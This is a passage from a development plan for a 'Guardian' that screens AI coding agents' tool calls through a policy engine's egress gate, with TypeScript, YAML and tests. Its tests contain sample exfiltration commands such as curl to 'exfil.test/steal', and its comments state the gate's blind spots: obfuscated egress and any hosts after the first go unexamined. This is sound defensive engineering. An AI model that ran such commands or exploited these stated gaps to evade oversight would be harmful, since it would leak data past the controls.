lands on is the argument the policy target was + * read from, and one fact declared twice is two things that can + * disagree. */ + into: "parameter_overrides"; + } + | { + from: string; + when_path: string; + /** The result gate rewrites the result payload's own leaf, addressed by + * an ACS JSON pointer the mapping supplies. */ + into: "redactions"; + into_path: string; + }; + +/** Which argument a tool's policy target lives in, for one intervention + * point. `default` covers every tool `by_tool` does not name. */ +type PolicyTargetArgument = { default: string; by_tool?: Record }; + +type InterventionPoint = { + acs_method: string | null; + note?: string; + policy_target_argument?: PolicyTargetArgument; + modifications?: ModificationsRule; +}; +``` + +The resolver, beside `resolveInterventionPoint` and reading the same table: + +```ts +/** + * Which argument this tool's policy target is read from, at this point. + * + * Told the tool NAME, never an envelope. Its callers already hold the name -- + * the Guardian reads `payload.tool.name` for the session chain entry two + * statements earlier -- and a resolver that took an envelope would couple this + * module to the wire shape it currently knows nothing about. + * + * Answers `undefined` for a point that declares no table, which is the honest + * answer for the result gate: that gate rewrites a leaf of the result payload + * addressed by JSON pointer, and no tool argument is involved. A point the + * table has no row for at all is a different thing and throws, for the same + * reason `resolveInterventionPoint` throws rather than defaulting -- a mapping + * that cannot answer must say so rather than guess. + */ +export function resolvePolicyTargetArgument( + mapping: Mapping, + point: string, + toolName: string, +): string | undefined { + const row = mapping.intervention_points?.[point]; + if (row === undefined) { + throw new Error( + `mapping.yaml's intervention_points table has no row for AGT intervention point "${point}", so the ` + + `argument its policy target is read from cannot be resolved`, + ); + } + + const table = row.policy_target_argument; + if (table === undefined) { + return undefined; + } + + const named = table.by_tool?.[toolName]; + if (typeof named === "string") { + return named; + } + + if (typeof table.default !== "string") { + throw new Error( + `mapping.yaml's intervention_points.${point}.policy_target_argument names no argument for tool ` + + `${JSON.stringify(toolName)} and declares no usable "default"`, + ); + } + return table.default; +} +``` + +`synthesizeModifications` gains the argument and keys the override by it. Every check above it — the missing-rule throw, the absent-transform throw, the `when_path` check — is unchanged: + +```ts +function synthesizeModifications( + verdict: AgtVerdict, + mapping: Mapping, + point: string, + policyTargetArgument: string | undefined, +): AcsModifications { + // … existing rule / transform / when_path checks unchanged … + + const declaredInto: string = rule.into; + if (rule.into === "parameter_overrides") { + // A rewrite with no argument to land on is the one thing this function + // exists not to produce: a modification reported applied while the + // original ships. The Guardian's evaluation catch turns this throw into an + // honoured deny. + if (policyTargetArgument === undefined) { + throw new Error( + `mapping.yaml maps this verdict into an ACS parameter override, but its intervention_points row ` + + `for "${point}" declares no policy_target_argument, so there is no argument for the rewrite to ` + + `land on`, + ); + } + return { [rule.into]: { [policyTargetArgument]: transform.value } }; + } + // … redactions branch and final throw unchanged … +} +``` + +And `mapVerdict`: + +```ts +export function mapVerdict( + verdict: AgtVerdict, + mapping: Mapping, + point: string, + policyTargetArgument: string | undefined, +): AcsDecision { + // … unchanged until: + if (rule.decision === "modify") { + out.modifications = synthesizeModifications(verdict, mapping, point, policyTargetArgument); + } + return out; +} +``` + +- [ ] **Step 6: Write the leaf and the raw command into the snapshot** + +In `packages/guardian/src/assemble-snapshot.ts`: + +```ts +/** + * The one snapshot leaf every tool's policy target is copied to. + * + * `policy/manifest.yaml`'s pre_tool_call `policy_target` names this, and + * mapping.yaml's `policy_target_argument` names the per-tool argument it is + * copied FROM. The `acs_` stem marks it as this side's construct rather than + * something a host sent, which is what stops a reader taking it for an + * argument some tool declared. + */ +export const POLICY_TARGET_LEAF = "acs_policy_target"; +``` + +The snapshot type gains one always-present member: + +```ts +export type AgtPreToolCallSnapshot = { + envelope: { budgets: AgtSnapshotBudgets }; + tool_call: { + name: string; + args: Record; + id: string; + /** + * ACS's own `raw_command`, and ALWAYS present -- the empty string when the + * wire carried none. + * + * Not a convenience. A manifest-declared annotator's `annotations. + * .from` path must resolve or AGT denies the entire call with + * runtime_error:path_missing BEFORE dispatching the annotator -- measured, + * with zero annotator calls -- so a snapshot that omitted this member for + * tools with no shell command would turn every one of those calls into a + * total deny wearing a runtime-error reason. An empty string resolves, and + * the annotator answers no destination for it, which is the behaviour that + * was wanted. + */ + raw_command: string; + }; + input: { ifc: { source_labels: string[] } }; +}; +``` + +And the assembler: + +```ts +export function assemblePreToolCallSnapshot( + envelope: ToolCallRequestEnvelope, + sourceLabels: IfcLabels, + policyTargetArgument: string | undefined, +): AgtPreToolCallSnapshot { + const { payload, request_id } = envelope.params; + + if (policyTargetArgument === undefined) { + throw new Error( + `mapping.yaml declares no policy_target_argument for the request gate, so there is no argument to ` + + `copy to the "${POLICY_TARGET_LEAF}" leaf policy/manifest.yaml targets`, + ); + } + + // Unwrap every argument. AGT reads raw values -- args.command has to be a + // plain string for the stock pattern check's is_string guard, for instance -- + // so the ACS {value, provenance} wrapper does not survive into the snapshot. + const args: Record = {}; + for (const [key, wrapper] of Object.entries(payload.arguments)) { + args[key] = wrapper.value; + } + + // Loudly, never silently. A tool genuinely sending an argument by this name + // would have its own value replaced by the policy target and never + // evaluated -- so the collision is reported here, where a manifest or + // hookmap author can still act on it. + if (Object.hasOwn(args, POLICY_TARGET_LEAF)) { + throw new Error( + `tool ${JSON.stringify(payload.tool.name)} sent an argument named ${JSON.stringify(POLICY_TARGET_LEAF)}, ` + + `which is the leaf this Guardian writes its policy target to -- one of the two would have to be ` + + `overwritten, and neither may be`, + ); + } + + // A tool whose declared policy-target argument is not among its arguments is + // a registration fault, not a policy decision. Throwing names the tool and + // the argument; leaving the leaf undefined would reach AGT as + // runtime_error:path_missing, which reads like a policy decision and says + // nothing about which declaration is wrong. + if (!Object.hasOwn(args, policyTargetArgument)) { + throw new Error( + `mapping.yaml reads tool ${JSON.stringify(payload.tool.name)}'s policy target from argument ` + + `${JSON.stringify(policyTargetArgument)}, but this call sent no such argument ` + + `(it sent: ${Object.keys(args).join(", ") || "none"})`, + ); + } + args[POLICY_TARGET_LEAF] = args[policyTargetArgument]; + + return { + // budgets.rego fails closed on a present-but-wrong-typed counter, so these + // are always real zeros, never undefined/null. + envelope: { budgets: zeroedBudgets() }, + tool_call: { + name: payload.tool.name, + args, + id: request_id, + raw_command: payload.raw_command ?? "", + }, + input: ifcMember(sourceLabels), + }; +} +``` + +Export `POLICY_TARGET_LEAF` from `packages/guardian/src/index.ts` alongside the assemblers, and add `resolvePolicyTargetArgument` to that file's `./map-verdict.ts` export block — the conformance package imports from `"guardian"`. + +- [ ] **Step 7: Point the manifest at the leaf, and register the second tool shape** + +In `policy/manifest.yaml`, replace `pre_tool_call`'s `policy_target` and the comment above it: + +```yaml +intervention_points: + pre_tool_call: + # ONE target for every tool, which is all AGT's manifest schema allows: + # intervention_point is additionalProperties: false with exactly one + # policy_target, and AGT resolves it before any rule runs. So this target + # is NOT any host's argument -- it is the normalised leaf the Guardian + # writes, and mapping.yaml's policy_target_argument table is what says + # which of each tool's own arguments was copied into it. + # + # Measured, and the reason this is no longer "$.tool_call.args.command": a + # benign WebFetch call under that target is DENIED on + # runtime_error:path_missing, with no rule consulted. One literal argument + # name can only serve a deployment that governs one tool shape. + # + # test/path-dialects.test.ts checks the two agreements this leaf sits + # between: that this path names the leaf assemble-snapshot.ts writes, and + # that every argument mapping.yaml's by_tool table names is keyed by a tool + # this file's own tools: registry knows. + policy_target: "$.tool_call.args.acs_policy_target" + policy_target_kind: tool_args + tool_name_from: "$.tool_call.name" + policy: + id: agt_stock +``` + +Add the two fetch tools to `tools:`, leaving the existing three entries and their comments exactly as they are: + +```yaml + # Claude Code's own real tool name for a web fetch, and OpenCode's, for the + # identical reason "Bash" and "bash" are both here: an unregistered + # tool_call.name fails AGT's evaluation closed on runtime_error:tool_unknown + # before any rule runs. Both spellings are registered because one manifest + # serves both hosts -- so this registry deliberately names more tools than + # either host dispatches. + # + # security_labels: [shell] is carried for the same reason every other entry + # carries it, and it matters more now than it did: with cfg.egress configured + # but its `allowlist` key absent, AGT's allowlist(rules) falls back to + # input.tool.security_labels and denies every destination. policy/lib/ + # data.json ships an explicit allowlist so that fallback is never reached. + WebFetch: + type: Tool + id: WebFetch + security_labels: [shell] + webfetch: + type: Tool + id: webfetch + security_labels: [shell] +``` + +- [ ] **Step 8: Resolve the argument before assembling, in `evaluateStep`** + +In `packages/guardian/src/server.ts`, import `resolvePolicyTargetArgument` from `./map-verdict.ts` alongside `mapVerdict`, widen the assembler parameter's type, and reorder the body. The point must now be resolved **before** the snapshot is assembled, where it used to be resolved after: + +```ts +async function evaluateStep( + raw: unknown, + envelope: E, + assemble: (envelope: E, sourceLabels: IfcLabels, policyTargetArgument: string | undefined) => GuardianSnapshot, + bridge: PolicyBridge, + mapping: Mapping, + sessionContextStore: SessionContextStore, +): Promise { + try { + appendContextEntry(sessionContextStore, envelope.params.metadata.session_id, { + method: envelope.method, + request_id: envelope.params.request_id, + tool_name: envelope.params.payload.tool.name, + }); + + // Resolved BEFORE the snapshot is assembled, where it used to be resolved + // after: the assembler needs to know which of this tool's arguments the + // policy target is read from, and mapVerdict needs the same answer to key + // any override it has to write back. One resolution, two readers -- asking + // twice would let them differ. + const point = resolveInterventionPoint(envelope.method, mapping); + const policyTargetArgument = resolvePolicyTargetArgument(mapping, point, envelope.params.payload.tool.name); + + const snapshot = assemble( + envelope, + supplySourceLabels(sessionContextStore, envelope.params.metadata.session_id), + policyTargetArgument, + ); + const verdict = await bridge.evaluate(point, snapshot); + const decision = mapVerdict(verdict, mapping, point, policyTargetArgument); + + persistIfcLabels(sessionContextStore, envelope.params.metadata.session_id, verdict.result_labels); + return successResponse(envelope.id, finalResult(envelope.params, decision)); + } catch (error) { + // … unchanged … + } +} +``` + +**Both call sites stay direct function references.** `assemblePostToolCallSnapshot` needs no change: a two-parameter function is assignable to a three-parameter function type, so the result gate ignores an argument it has no use for. Do **not** wrap either assembler in a lambda — that file's own comment explains why the direct reference is what makes the wrong-snapshot miswiring unrepresentable. + +- [ ] **Step 9: Update the conformance harness's call** + +`packages/conformance/src/verdicts.ts` measures the verdict table, not any one tool, so it asks the mapping what an unlisted tool gets. Import `resolvePolicyTargetArgument` from `"guardian"` alongside `mapVerdict`, add the constant near that file's other probe values, and replace the call at line 181: + +```ts +/** A tool name `mapping.yaml`'s `by_tool` table deliberately does not carry, + * so this round trip reads the declared default rather than one tool's row. + * Passing a real tool name would make the measurement depend on which tools + * happen to be registered. */ +const CONFORMANCE_PROBE_TOOL = "conformance_probe"; +``` + +```ts + acs = mapVerdict(agt, mapping, point, resolvePolicyTargetArgument(mapping, point, CONFORMANCE_PROBE_TOOL)); +``` + +- [ ] **Step 10: Split the path-dialects check** + +`test/path-dialects.test.ts` derives `into_argument` from the manifest's `policy_target`. Under this task the manifest names the leaf, so that derivation would yield `acs_policy_target` — no host's argument — and fail against every row of the new table. It does not disappear; it splits into the agreements that are load-bearing now. `acsAddressOf` is unchanged and still throws for a shape it cannot express. + +```ts +import { POLICY_TARGET_LEAF } from "../packages/guardian/src/assemble-snapshot.ts"; + +type MappingRule = { into: "parameter_overrides" } | { into: "redactions"; into_path: string }; +type PolicyTargetArgument = { default: string; by_tool?: Record }; +type MappingPoint = { + acs_method: string | null; + policy_target_argument?: PolicyTargetArgument; + modifications?: MappingRule; +}; +type Mapping = { intervention_points: Record }; +type Manifest = { + intervention_points: Record; + tools: Record; +}; +``` + +```ts +describe("the AGT and ACS dialects address the same leaf", () => { + const gated = Object.entries(mapping.intervention_points).filter(([, row]) => row.modifications !== undefined); + + it("covers every point mapping.yaml gives a modifications rule", () => { + expect(gated.map(([point]) => point).sort()).toEqual(["post_tool_call", "pre_tool_call"]); + }); + + // AGREEMENT ONE. The request gate's manifest target no longer names a host + // argument at all: it names the single normalised leaf the Guardian writes + // every tool's policy target to, because AGT allows an intervention point + // exactly one target and two tools disagree about their argument names. So + // what is derived here is that the manifest and the assembler name the SAME + // leaf -- one derivation, as before, of a different pair. + it("pre_tool_call: the manifest targets the leaf the assembler writes", () => { + const policyTarget = manifest.intervention_points.pre_tool_call?.policy_target; + expect(policyTarget).toBeString(); + const derived = acsAddressOf(policyTarget as string); + expect(derived.kind).toBe("argument"); + expect(derived.address).toBe(POLICY_TARGET_LEAF); + }); + + // AGREEMENT TWO, unchanged: the result gate rewrites a leaf of the result + // payload, addressed by an ACS JSON pointer derived from the same JSONPath. + it("post_tool_call: mapping.yaml's pointer is derivable from the manifest's policy_target", () => { + const policyTarget = manifest.intervention_points.post_tool_call?.policy_target; + expect(policyTarget).toBeString(); + const derived = acsAddressOf(policyTarget as string); + const rule = mapping.intervention_points.post_tool_call?.modifications as { into: "redactions"; into_path: string }; + expect(derived.kind).toBe("pointer"); + expect(rule.into_path).toBe(derived.address); + }); + + // AGREEMENT THREE, and the honest half of it is stated in the test's own + // name. The registry can say WebFetch is registered; it cannot say WebFetch + // takes a `url`. Same limit the upstream watch measured for hookmap `tools` + // entries, and for the same reason: one manifest serves both hosts, so it + // names more tools than either dispatches. + it("every tool the by_tool table keys is one the manifest registry knows -- existence only, not argument shape", () => { + const registered = new Set(Object.keys(manifest.tools ?? {})); + for (const [point, row] of Object.entries(mapping.intervention_points)) { + for (const tool of Object.keys(row.policy_target_argument?.by_tool ?? {})) { + expect({ point, tool, registered: registered.has(tool) }).toEqual({ point, tool, registered: true }); + } + } + }); + + it("declares a default argument for every gate that rewrites one", () => { + for (const [point, row] of gated) { + if ((row.modifications as MappingRule).into !== "parameter_overrides") continue; + expect({ point, declared: typeof row.policy_target_argument?.default }).toEqual({ point, declared: "string" }); + } + }); + + it("refuses a policy_target shape it cannot express, rather than passing by default", () => { + expect(() => acsAddressOf("$.tool_call.name")).toThrow(/does not know how to express/); + }); +}); +``` + +The old `"fails when the two files disagree, which is the whole point"` case goes: it compared a derived address against `into_argument`, and there is no `into_argument`. The drift it guarded is guarded now by the leaf-name assertion above, which fails the moment the manifest targets anything but the leaf the assembler writes. + +- [ ] **Step 11: Run the tests to verify they pass** + +Run: `bun test packages/guardian/test/map-verdict.test.ts packages/guardian/test/assemble-snapshot.test.ts packages/guardian/test/server.test.ts test/path-dialects.test.ts` +Expected: PASS. + +Then the whole suite and the typechecker: + +```bash +bun test +bun run typecheck +``` + +Existing `server.test.ts` cases evaluate through the real manifest and the real mapping, so they exercise the new leaf end to end without being rewritten. If one fails, read the failure before changing it: `runtime_error:path_missing` means the manifest and the assembler disagree about the leaf's name, and `runtime_error:tool_unknown` means a fixture uses a tool the registry does not carry. + +Baseline for comparison: before this slice the suite was **929 pass, 1 skip, 0 fail** across 65 files. + +- [ ] **Step 12: Commit** + +```bash +git add mapping.yaml policy/manifest.yaml packages/guardian/src packages/conformance/src/verdicts.ts packages/guardian/test test/path-dialects.test.ts +git commit -m "Give two tool shapes one policy target, and one argument declaration read twice" +``` + +--- + +## Task 2: The destination extractor · slice #28 · N55 + +A pure function that reads AGT's preliminary policy input and answers `{destination}` when it finds one inside `raw_command`, `{}` when it does not. Nothing is wired to it yet — this task builds and pins the function alone, so its miss direction is a reviewed decision rather than something inferred from a passing demo. + +**Files:** +- Create: `packages/guardian/src/annotate-egress.ts` +- Test: `packages/guardian/test/annotate-egress.test.ts` + +**Interfaces:** +- Consumes: nothing from Task 1 at the type level. It reads AGT's preliminary document, whose `snapshot` member is the snapshot Task 1's assembler produced. +- Produces: `annotateEgressDestination(name: string, config: unknown, preliminary: unknown): unknown` — assignable to `agt-bridge`'s `Annotator`, which Task 4 depends on. + +**Three measured facts this function is shaped by, none of them guessable from AGT's documentation:** + +1. **The dispatcher is handed the whole preliminary document, not the value `from` names.** `config` is the annotator's own declaration — `{"from":"$.tool_call.raw_command","type":"classifier"}` — and `preliminary` is `{intervention_point, policy_target, snapshot, annotations, tool}`. So the command is read at `preliminary.snapshot.tool_call.raw_command`, by this function, itself. +2. **`egress.rego`'s `host_of()` splits on `://` and `/`.** Handed `curl https://evil.test/x` whole it answers `curl https` — a garbage host, not a destination. Extraction is a real step, and forwarding the raw command as a destination is not one. +3. **Two resolvable destination paths with different values are a runtime error.** Measured: a snapshot carrying `args.url: "https://docs.anthropic.com/a"` alongside an annotation destination of `https://exfil.test/b` came back `deny runtime_error:policy_invocation_failed` — `destination(rules)` is a complete Rego rule and has no single value to answer with. So this function stands down whenever the snapshot's own arguments already carry a destination AGT reads. + +- [ ] **Step 1: Write the failing test** + +```ts +// packages/guardian/test/annotate-egress.test.ts +import { describe, expect, it } from "bun:test"; +import { annotateEgressDestination } from "../src/annotate-egress.ts"; + +/** AGT's preliminary policy input, cut down to the two members this function + * reads. The real document also carries `intervention_point`, `policy_target`, + * `annotations` and `tool`; none of them is consulted here. */ +function preliminary(toolCall: Record): unknown { + return { intervention_point: "pre_tool_call", snapshot: { tool_call: toolCall }, annotations: {} }; +} + +describe("pulling an egress destination out of a shell command", () => { + it("finds the destination a curl reaches for", () => { + expect( + annotateEgressDestination( + "egress", + {}, + preliminary({ name: "Bash", args: { command: "curl https://exfil.test/steal" }, raw_command: "curl https://exfil.test/steal" }), + ), + ).toEqual({ destination: "https://exfil.test/steal" }); + }); + + it("finds it mid-command, not only at the end", () => { + expect( + annotateEgressDestination( + "egress", + {}, + preliminary({ name: "Bash", args: {}, raw_command: "curl -sS https://exfil.test/steal -o /tmp/x" }), + ), + ).toEqual({ destination: "https://exfil.test/steal" }); + }); + + it("stops at the shell metacharacter, not at the end of the line", () => { + expect( + annotateEgressDestination("egress", {}, preliminary({ name: "Bash", args: {}, raw_command: "curl https://exfil.test/x; ls" })), + ).toEqual({ destination: "https://exfil.test/x" }); + }); + + // The stated miss direction, asserted rather than left implicit: the stock + // gate is `undefined` when no destination resolves, so the call falls + // through to the other gates. A command this cannot parse is unexamined, not + // denied. + it("answers no destination for a command carrying none, rather than failing", () => { + expect(annotateEgressDestination("egress", {}, preliminary({ name: "Bash", args: {}, raw_command: "echo hi" }))).toEqual({}); + }); + + it("answers no destination when the snapshot carries an empty raw command", () => { + expect(annotateEgressDestination("egress", {}, preliminary({ name: "WebFetch", args: { url: "x" }, raw_command: "" }))).toEqual({}); + }); + + it("answers no destination when the snapshot carries no raw command at all", () => { + expect(annotateEgressDestination("egress", {}, preliminary({ name: "Bash", args: {} }))).toEqual({}); + }); +}); + +describe("standing down when the snapshot already carries a destination", () => { + // Two of the stock gate's destination paths resolving to different strings + // is not a priority order -- it is a complete-rule conflict, measured as + // deny runtime_error:policy_invocation_failed. So an argument AGT already + // reads wins, and this function contributes nothing. + for (const argument of ["url", "endpoint", "host", "domain"]) { + it(`contributes nothing when the tool sent its own "${argument}"`, () => { + expect( + annotateEgressDestination( + "egress", + {}, + preliminary({ name: "SomeTool", args: { [argument]: "https://docs.anthropic.com/a" }, raw_command: "curl https://exfil.test/b" }), + ), + ).toEqual({}); + }); + } + + it("still reads the raw command when the tool's own destination argument is not a string", () => { + expect( + annotateEgressDestination( + "egress", + {}, + preliminary({ name: "SomeTool", args: { url: null }, raw_command: "curl https://exfil.test/b" }), + ), + ).toEqual({ destination: "https://exfil.test/b" }); + }); +}); + +describe("total, whatever it is handed", () => { + // A throw here is not an error report: AGT turns any annotator failure into + // its own runtime_error:annotation_failed deny, which lands on every call in + // the deployment and reads like a policy decision. + it("never throws and never answers null", () => { + for (const input of [undefined, null, 42, "a string", {}, { snapshot: null }, { snapshot: { tool_call: 7 } }]) { + expect(() => annotateEgressDestination("egress", {}, input)).not.toThrow(); + expect(annotateEgressDestination("egress", {}, input)).toEqual({}); + } + }); +}); +``` + +- [ ] **Step 2: Run the test to verify it fails** + +Run: `bun test packages/guardian/test/annotate-egress.test.ts` +Expected: FAIL — `Cannot find module '../src/annotate-egress.ts'`. + +- [ ] **Step 3: Write the implementation** + +```ts +// packages/guardian/src/annotate-egress.ts +/** + * The Guardian's destination extractor: what stands between an ACS + * `raw_command` and AGT's stock egress gate. + * + * NOT the gate. `policy/lib/egress.rego` is the gate, `cfg.egress` is its + * configuration, `egress_destination_not_allowed` is the reason it emits, and + * every one of those is AGT's, vendored byte-identical and not authored here. + * This module supplies one of that gate's own declared inputs -- its FIFTH + * default destination path, `["annotations", "egress", "destination"]`, which + * is to say AGT anticipated exactly this seam and published the address for + * it. + * + * WHY EXTRACTION RATHER THAN FORWARDING. The gate's `host_of()` splits on + * `://` and then on `/`, so handed `curl https://evil.test/x` whole it answers + * `curl https`. Pointing a destination path at `raw_command` produces a + * garbage host, not a destination. + * + * WHY IT READS THE PRELIMINARY DOCUMENT ITSELF. A manifest's + * `annotations..from` is a liveness precondition, not a projection: the + * SDK requires the path to resolve (an unresolvable one denies the whole call + * on runtime_error:path_missing, before this function is called at all) and + * then hands the dispatcher the entire preliminary policy input rather than + * the value it resolved. Measured. So the command is read here, from the + * snapshot, by name. + */ + +/** + * The tool-argument names AGT's own gate already reads a destination out of -- + * `default_destination_paths` in `policy/lib/egress.rego`, minus the + * annotation path this module writes. + * + * When one of them is already a string on the snapshot, this module answers + * nothing. `destination(rules)` is a COMPLETE Rego rule over every configured + * path, so two paths resolving to different strings has no single answer: + * measured, that is `deny runtime_error:policy_invocation_failed` -- a total + * deny wearing a runtime-error reason, on a call nobody decided about. The + * tool's own argument is the better evidence anyway: it is what the tool will + * actually reach for, where a command line is what someone typed. + */ +const ARGUMENTS_AGT_ALREADY_READS = ["url", "endpoint", "host", "domain"] as const; + +/** + * The first absolute http(s) URL in a command line. + * + * Scheme-anchored on purpose. A bare-host pattern would match package names, + * file paths and flag values, and every false positive here becomes a denial + * of a step nobody meant to govern. The character class ends the match at + * whitespace and at the shell metacharacters that end a word, so a trailing + * `; ls` or `| tee` is not swallowed into the host. + * + * First match, not every match: the gate takes one destination. A command + * reaching two hosts has its first examined and the rest unexamined, which is + * this module's stated miss direction rather than a hidden one. + */ +const DESTINATION_IN_COMMAND = /\bhttps?:\/\/[^\s'"`;|&()<>]+/; + +function isPlainObject(value: unknown): value is Record { + return typeof value === "object" && value !== null && !Array.isArray(value); +} + +/** + * Answers `{destination}` when it finds one, `{}` when it does not. + * + * Never a throw and never `null`, and both halves are load-bearing. AGT turns + * any annotator failure -- thrown or rejected -- into its own + * `runtime_error:annotation_failed` deny, which lands on EVERY call in the + * deployment, benign ones included, and reads like a policy decision. And a + * command with no destination is not a failure: the gate is `undefined` when + * nothing resolves, and the call falls through to the other gates. So an + * obfuscated or novel egress form is UNEXAMINED here, not denied -- the + * failure direction the runbook states plainly, because the demo's shape + * invites the opposite reading. + * + * `name` and `config` are part of the dispatcher contract and are not read: + * this function is the one annotator this Guardian has, and routing by name is + * its caller's job. + */ +export function annotateEgressDestination(_name: string, _config: unknown, preliminary: unknown): unknown { + if (!isPlainObject(preliminary)) return {}; + const snapshot = preliminary.snapshot; + if (!isPlainObject(snapshot)) return {}; + const toolCall = snapshot.tool_call; + if (!isPlainObject(toolCall)) return {}; + + const args = isPlainObject(toolCall.args) ? toolCall.args : {}; + for (const argument of ARGUMENTS_AGT_ALREADY_READS) { + if (typeof args[argument] === "string") return {}; + } + + const rawCommand = toolCall.raw_command; + if (typeof rawCommand !== "string") return {}; + + const found = DESTINATION_IN_COMMAND.exec(rawCommand); + return found === null ? {} : { destination: found[0] }; +} +``` + +- [ ] **Step 4: Run the test to verify it passes** + +Run: `bun test packages/guardian/test/annotate-egress.test.ts` +Expected: PASS. + +Then `bun test && bun run typecheck` — nothing imports this module yet, so the rest of the suite is unchanged. + +- [ ] **Step 5: Commit** + +```bash +git add packages/guardian/src/annotate-egress.ts packages/guardian/test/annotate-egress.test.ts +git commit -m "Pull a destination out of a shell command, or answer that there is none" +``` + +--- + +## Task 3: `raw_command` reaches the wire · slice #28 · N2, N11, N21, S1, S2 + +ACS v0.1.0's `raw_command` has been typed in this repository since V1 (`validate-envelope.ts:100`), declared by no hookmap and forwarded by no assembler. This task is what first populates it: one new hookmap key, read by the one `buildEnvelope` both hosts share. + +**Files:** +- Modify: `packages/host-adapter/src/build-envelope.ts` +- Modify: `hosts/claude-code/claude-code.hookmap.yaml` +- Modify: `hosts/opencode/opencode.hookmap.yaml` +- Test: `packages/host-adapter/test/build-envelope.test.ts` + +**Interfaces:** +- Consumes: nothing from Tasks 1–2. +- Produces: `HookmapRequestHookEntry.raw_command?: string`; `AcsToolCallRequestPayload.raw_command?: string`. The demo Task 5 wires up depends on both. + +**The one asymmetry to get right, and the reason for it.** An unresolvable `outputs.from` **throws** — *"a result payload carrying no output would ask the far end to govern a step whose output it cannot see"*. An unresolvable `raw_command` must **not**: it is optional in `hooks/tool-call-request.json`, a request payload without one is complete and governable, and a `WebFetch` call resolves `$.tool_input.command` to nothing on every single invocation. Throwing there would send every fetch into `governStep`'s posture path and, under the shipped `proceed`, run it ungoverned. + +- [ ] **Step 1: Write the failing test** + +Append to `packages/host-adapter/test/build-envelope.test.ts`, following that file's existing hookmap-fixture style. + +```ts +describe("the raw command a hookmap declares a path for", () => { + const requestGate = (extra: Record = {}) => ({ + host: "test-host", + hooks: { + PreToolUse: { + acs_method: "steps/toolCallRequest", + tool_name: "$.tool_name", + arguments: "$.tool_input", + raw_command: "$.tool_input.command", + decisions: { allow: { output: { d: { value: "allow" } } }, deny: { output: { d: { value: "deny" } } } }, + ...extra, + }, + }, + }); + + it("carries it onto the request payload when the path resolves", () => { + const envelope = buildEnvelope({ + hookmap: requestGate(), + hookEventName: "PreToolUse", + payload: { tool_name: "Bash", tool_input: { command: "curl https://exfil.test/x" } }, + sessionId: "s", + }); + expect(envelope.params.payload.raw_command).toBe("curl https://exfil.test/x"); + }); + + // Unlike outputs.from, whose unresolvable path throws: raw_command is + // optional in the ACS request payload, and a tool with no shell command + // resolves this path to nothing on every call. Throwing would send every one + // of those steps into the delivery posture and, under the shipped `proceed`, + // run it ungoverned. + it("omits it when the path does not resolve, rather than failing the step", () => { + const envelope = buildEnvelope({ + hookmap: requestGate(), + hookEventName: "PreToolUse", + payload: { tool_name: "WebFetch", tool_input: { url: "https://docs.anthropic.com/x" } }, + sessionId: "s", + }); + expect(envelope.params.payload.raw_command).toBeUndefined(); + expect(envelope.params.payload.arguments.url).toEqual({ value: "https://docs.anthropic.com/x" }); + }); + + it("omits it when the path resolves to something that is not a string", () => { + const envelope = buildEnvelope({ + hookmap: requestGate(), + hookEventName: "PreToolUse", + payload: { tool_name: "Bash", tool_input: { command: { nested: true } } }, + sessionId: "s", + }); + expect(envelope.params.payload.raw_command).toBeUndefined(); + }); + + it("names the hook and the member when the declaration is not a path string", () => { + expect(() => + buildEnvelope({ + hookmap: requestGate({ raw_command: { from: "$.tool_input.command" } }), + hookEventName: "PreToolUse", + payload: { tool_name: "Bash", tool_input: { command: "echo hi" } }, + sessionId: "s", + }), + ).toThrow(/PreToolUse.*raw_command/s); + }); + + it("refuses a result gate that declares one -- a result payload has no command", () => { + expect(() => + buildEnvelope({ + hookmap: { + host: "test-host", + hooks: { + PostToolUse: { + acs_method: "steps/toolCallResult", + tool_name: "$.tool_name", + outputs: { from: "$.tool_response.stdout", within: "$.tool_response" }, + exit_status: { literal: "success" }, + raw_command: "$.tool_input.command", + decisions: { allow: { output: { d: { value: "a" } } }, deny: { output: { d: { value: "d" } } } }, + }, + }, + }, + hookEventName: "PostToolUse", + payload: { tool_name: "Bash", tool_input: { command: "echo hi" }, tool_response: { stdout: "hi" } }, + sessionId: "s", + }), + ).toThrow(/PostToolUse.*raw_command/s); + }); +}); +``` + +⚠️ *Adapt the `buildEnvelope(...)` call shape to whatever that test file already uses — the four members above are the ones this behaviour needs, not necessarily the whole argument object.* + +- [ ] **Step 2: Run the test to verify it fails** + +Run: `bun test packages/host-adapter/test/build-envelope.test.ts` +Expected: FAIL — `raw_command` is `undefined` on the payload in the first case, and the two refusal cases do not throw. + +- [ ] **Step 3: Implement it in `buildPayload`** + +In `packages/host-adapter/src/build-envelope.ts`, add the member to both hook-entry types: + +```ts +export type HookmapRequestHookEntry = HookmapHookEntryCommon & { + /** JSONPath-lite (`$.foo.bar`) into the raw hook payload for the argument bag. */ + arguments: string; + /** + * JSONPath-lite into the raw hook payload for the command line this step is, + * verbatim -- ACS's own `raw_command`, optional in + * hooks/tool-call-request.json and optional here. + * + * Declared per host because the field it lives in is the host's: Claude Code + * puts it at `$.tool_input.command`, OpenCode at `$.args.command`. A tool + * that is not a shell command resolves it to nothing, and that is an + * ordinary outcome, not a fault -- see buildPayload. + */ + raw_command?: string; + outputs?: never; + exit_status?: never; +}; + +export type HookmapResultHookEntry = HookmapHookEntryCommon & { + arguments?: never; + /** A result payload carries no command. Spelled `never` beside the request + * entry's own member, the same way `arguments` and `outputs` are, so the + * broken entry is not a legal type. */ + raw_command?: never; + outputs: HookmapOutputs; + exit_status: HookmapLiteral | HookmapFieldRead; +}; +``` + +And the payload type: + +```ts +export type AcsToolCallRequestPayload = { + tool: { name: string }; + arguments: Record; + /** ACS's optional `raw_command`. Present only when the hookmap declared a + * path for it AND that path resolved to a string. */ + raw_command?: string; + exit_status?: never; + outputs?: never; +}; +``` + +In `buildPayload`'s `arguments` branch, after the existing argument unwrapping and before the return: + +```ts + const payloadOut: AcsToolCallRequestPayload = { tool: { name: toolName }, arguments: args }; + + // `?? undefined` for the same reason its siblings use it: a bare + // `raw_command:` line parses to null in YAML, which is a key present and + // unusable rather than a key absent. + const rawCommandPath = entry.raw_command ?? undefined; + if (rawCommandPath !== undefined) { + if (typeof rawCommandPath !== "string") { + throw new Error( + `buildEnvelope: hookmap entry for hook "${event}" declares "raw_command" as ` + + `${JSON.stringify(rawCommandPath)} -- "raw_command" names the verbatim command line with a ` + + `single JSONPath-lite string, the same notation as "arguments" beside it`, + ); + } + const rawCommand = resolvePath(payload, rawCommandPath); + // Omitted, never a throw, and the asymmetry with outputs.from below is + // deliberate. An unresolvable outputs.from throws because a result + // payload with no output would ask the far end to govern a step whose + // output it cannot see. raw_command is different in kind: it is optional + // in hooks/tool-call-request.json, a request payload without one is + // complete and fully governable, and a tool that is not a shell command + // resolves this path to 